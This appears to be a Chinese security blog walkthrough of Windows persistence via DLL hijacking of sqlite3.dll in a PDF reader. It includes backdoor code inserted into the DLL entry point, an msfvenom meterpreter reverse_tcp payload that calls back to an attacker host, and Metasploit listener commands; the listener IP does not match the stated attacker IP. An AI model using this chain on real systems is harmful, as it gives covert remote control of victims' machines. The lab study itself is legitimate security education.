返回首页
EN
H7 / SECURITY RESEARCH NOTES

通过DLL劫持结合MSF实现Windows系统权限维持

环境说明

IPHOSTNAMENOTE
10.10.10.88Win10受害者主机
172.16.106.67Kali Linux攻击者主机

前言

DLL是什么

  • DLL(Dynamic Link Library)文件为动态链接库文件,又称”应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。

DLL加载顺序

Windows xp sp2之前:
1. 进程对应的应用程序所在目录;
2. 当前目录(Current Directory);
3. 系统目录(通过 GetSystemDirectory 获取);
4. 16位系统目录;
5. Windows目录(通过 GetWindowsDirectory 获取);
6. PATH环境变量中的各个目录;

Windows xp sp2之后:
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
2. 系统目录(即%windir%system32);
3. 16位系统目录(即%windir%system);
4. Windows目录(即%windir%);
5. 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
6. PATH环境变量中的各个目录;

win7以上版本:
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

复现过程

0x01 使用Process Explorer分析可以劫持的dll文件

  • 如上图所示,可以劫持sqlite3.dll

0x02 使用aheadlib将sqlite3.dll转为Cpp文件

0x03 打开CPP文件在DLL入口函数插入要执行的后门代码,并生成新的DLL文件

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("E:\\hunter0x07.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, & si, & pi);

0x04 替换原来的DLL文件

  • 将编译后的DLL文件改名为sqlite3.dll,替换原来的sqlite3.dll,原来的sqlite3.dll改名为sqlite3_backup.dll(这里是为了演示结束后恢复)。

0x05 攻击者主机启动MSF生成Payload

  • Payload名称为hunter0x07.exe,即刚才在VisualStudio中插入的后门名称
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.106.67 LPORT=2333 -f exe > hunter0x07.exe

  • 并且投递到受害者主机,payload路径为E:\hunter0x07.exe

0x06 攻击机开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.93
set lport 2333
exploit
  • win10受害者主机运行极速pdf阅读器(这里运行时出现了错误,可能是编译DLL文件的时候出现了一些问题,但是不影响极速PDF阅读器加载了我们的代码)

  • 如上图所示获取到了受害者主机权限